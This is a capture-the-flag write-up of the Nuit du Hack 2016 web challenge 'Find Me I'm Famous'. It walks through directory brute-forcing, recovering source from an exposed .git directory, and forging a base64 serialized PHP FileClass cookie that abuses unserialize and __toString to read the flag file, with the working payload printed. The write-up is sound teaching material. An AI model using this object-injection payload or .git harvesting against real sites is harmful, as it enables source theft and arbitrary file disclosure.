Write-up of the challenge “WebApp – Find Me I’m Famous” of Nuit du Hack 2016 CTF qualifications.
The weekend of 04/01/2016 is pre-qualification for the Nuit du Hack 2016 as a Jeopardy CTF. Having had the opportunity and the time to participate with some colleagues and friends, here’s a write-up resolution of the challenges which we could participate.
- Category: WebApp
- Name: Find Me I’m Famous
- Description : Hey Dude! This authentication annoys me, please help!
- URL : http://findmeimfamous.quals.nuitduhack.com
- Points : 100
By visiting the challenge page “http://findmeimfamous.quals.nuitduhack.com”, we visualized a form requesting a “login” and “age”. No check on the format of the input data.
After entering a login and arbitrary age, a new page asks us to identify:
Upon completion of identification, we arrive on the page “result.php” that shows us the welcome message with information related to our age:
We observe the exchanges made during the various requests and we note that the destination page “result.php” a “cook” cookie is included in the request.
Cookie=PHPSESSID=kdf7p64lmaqpkp9nufqbi1gqn0; cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czozOiJ4eHgiO3M6NDoibmFtZSI7czo0OiJ5Y2FtIjt9
The value of “cook” can be URL-decoded and base64-decoded to give:
O:4:"User":2:{s:3:"age";s:3:"xxx";s:4:"name";s:4:"ycam";}
This cookie thus contains the image of our “User” object serialized and encoded in base64. On reading this serialized format is deduced:
- A “User” class is defined on the server side
- This class has 2 public attributes in the form of string
- age
- name
Looking at the source code of the page, one notices the presence of the “<meta>” indicating the author:
Some investigations take us on tympanus, to download an HTML / CSS package of this model of login / registration module. But the package contains no such server side code such as those in place for the challenge (index.php, result.php, etc.).
The analysis was continued by launching a directories guessing on target:
dirb http://findmeimfamous.quals.nuitduhack.com /usr/share/wordlists/dirb/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Apr 2 20:13:53 2016 URL_BASE: http://findmeimfamous.quals.nuitduhack.com/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://findmeimfamous.quals.nuitduhack.com/ ---- + http://findmeimfamous.quals.nuitduhack.com/cgi-bin/ (CODE:403|SIZE:217) ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/css/ ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/git/ ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/images/ + http://findmeimfamous.quals.nuitduhack.com/index.php (CODE:200|SIZE:2382) + http://findmeimfamous.quals.nuitduhack.com/server-status (CODE:403|SIZE:222) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/git/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Apr 2 20:18:05 2016 DOWNLOADED: 4612 - FOUND: 3
Interesting! A “git” directory browsable is at the root of server:
It seems that this directory called “git”, corresponds to a technical versioning directory of the eponymous tool named “.git” within a repos.
I also want to refer you to the excellent article InternetWache, which details the dangers and presents various tools to retrieve the full source code of a website from information leaks from his “.git” directory exposed; this directory can be browsable (Index Of) or not!
We can continue through the recursive copy of the entire contents of this directory:
wget --mirror -I git http://findmeimfamous.quals.nuitduhack.com/git/
We rename the configuration directory and clean some residual files due to the Index of:
mv git .git rm .git/index.html* rm .git/refs/index.html*
So we have the technical repertoire “.git” of the challenge, without source code and project files themselves. Check the integrity and the last events of the deposits:
# git status Sur la branche master Votre branche est à jour avec 'origin/master'. Modifications qui ne seront pas validées : (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé) (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail) supprimé : README.md supprimé : app/.buildpath supprimé : app/.project supprimé : app/.settings/org.eclipse.php.core.prefs supprimé : app/.settings/org.eclipse.wst.common.project.facet.core.xml supprimé : app/config.php supprimé : app/css/animate-custom.css supprimé : app/css/demo.css supprimé : app/css/fonts/BebasNeue-webfont.eot supprimé : app/css/fonts/BebasNeue-webfont.svg supprimé : app/css/fonts/BebasNeue-webfont.ttf supprimé : app/css/fonts/BebasNeue-webfont.woff supprimé : app/css/fonts/Dharma Type Font License.txt supprimé : app/css/fonts/fontomas-webfont.eot supprimé : app/css/fonts/fontomas-webfont.svg supprimé : app/css/fonts/fontomas-webfont.ttf supprimé : app/css/fonts/fontomas-webfont.woff supprimé : app/css/fonts/franchise-bold-webfont.eot supprimé : app/css/fonts/franchise-bold-webfont.svg supprimé : app/css/fonts/franchise-bold-webfont.ttf supprimé : app/css/fonts/franchise-bold-webfont.woff supprimé : app/css/style.css supprimé : app/css/style2.css supprimé : app/css/style3.css supprimé : app/fileclasse.php supprimé : app/images/ImageAttribution.txt supprimé : app/images/bg.jpg supprimé : app/index.php supprimé : app/result.php supprimé : app/ufhkistgfj.php supprimé : app/userclass.php aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")
Interesting … Reinitialize deposit and the original source code!
# git checkout -- . # ll app/ total 56 drwxr-xr-x 5 root root 4096 avril 2 20:27 . drwxr-xr-x 4 root root 4096 avril 2 20:27 .. -rw-r--r-- 1 root root 174 avril 2 20:27 .buildpath -rw-r--r-- 1 root root 22 avril 2 20:27 config.php drwxr-xr-x 3 root root 4096 avril 2 20:27 css -rw-r--r-- 1 root root 159 avril 2 20:27 fileclasse.php drwxr-xr-x 2 root root 4096 avril 2 20:27 images -rw-r--r-- 1 root root 5093 avril 2 20:27 index.php -rw-r--r-- 1 root root 725 avril 2 20:27 .project -rw-r--r-- 1 root root 2012 avril 2 20:27 result.php drwxr-xr-x 2 root root 4096 avril 2 20:27 .settings -rw-r--r-- 1 root root 26 avril 2 20:27 ufhkistgfj.php -rw-r--r-- 1 root root 266 avril 2 20:27 userclass.php
We can now see the challenge’s files:
# cat config.php NOT here ...
A particular file name intrigues us:
# cat ufhkistgfj.php #I will add the flag here
This file must have the “flag” in production. Check the “result.php”:
# cat result.php <?php include('./userclass.php'); include('./fileclasse.php'); session_start(); if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){ $obj = unserialize(base64_decode($_COOKIE['cook'])); ob_start(); echo $obj; $ff = $obj->name; } if(isset($_POST["name_2"]) && !empty($_POST['name_2']) && $ff==$_POST['name_2']) { ?> <!DOCTYPE html> <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6 lt8"> <![endif]--> <!--[if IE 7 ]> <html lang="en" class="no-js ie7 lt8"> <![endif]--> <!--[if IE 8 ]> <html lang="en" class="no-js ie8 lt8"> <![endif]--> <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <!-- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> --> <title>index</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Login and Registration Form with HTML5 and CSS3" /> <meta name="keywords" content="html5, css3, form, switch, animation, :target, pseudo-class" /> <meta name="author" content="Codrops" /> <link rel="shortcut icon" href="../favicon.ico"> <link rel="stylesheet" type="text/css" href="css/demo.css" /> <link rel="stylesheet" type="text/css" href="css/style.css" /> <link rel="stylesheet" type="text/css" href="css/animate-custom.css" /> </head> <body> <div class="container"> <section> <div id="container_demo" > <div id="wrapper"> <div id="login" class="animate form"> <h1>TEST</h1> <br/><p> TEXT</p> </div> </div> </div> </section> </div> </body> </html> <?php } else { header("location: index.php"); } ?>
It is this page that retrieve our cookie value “cook” after the base64 decoding, then unserializes the object content. No typing checks of the object class or cast is performed. The final vulnerability can be seen…
Note also that once the object “$obj” is regenerated a “echo $obj;” is realised, which has the effect of automatically call the magic method “__toString ()” (if present) in the object. Check if this method is present in our object “User” defined in “userclass.php”:
# cat userclass.php <?php class User { // Class data public $age = 0; public $name = ''; // Allow object to be used as a String public function __toString() { return 'Hello ' . $this->name . ' you have ' . $this->age . ' years old. <br />'; } } ?>
Yes! The assumptions on the class definition format “User” issued at the beginning by reading the serialized cookie is confirmed. A method “__toString ()” is present and it is that which generates the message “Hello ycam you-have xxx years old.” shown above.
But there remains an unused file so far among the sources: fileclasse.php:
# cat fileclasse.php <?php class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this->filename); } }
This simple class, never called / instantiated in the project, has an almost similar structure to the User class; but only one attribute is defined (the name of the file whose contents will be read through the call of the __toString () method). Yes, this class also has its __toString () method defined! The idea now will be to regenerate a cookie of an object “FileClass” rather than “User” serialized, to call the __toString () method to read the contents of “ufhkistgfj.php” file.
Changing the serialized object and its equivalent in base64:
O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";} Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9
Injecting the cookie in the request to “result.php”, our “FileClass” class with attribute “$filename = ‘ufhkistgfj.php” will be unserialized and its __toString () method will becalled:
Results:
Flag : NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]
Greeting to nj8, St0rn, Emiya, Mido, downg(r)ade, Ryuk@n and rikelm, 😉 // Gr3etZ
Sources & ressources :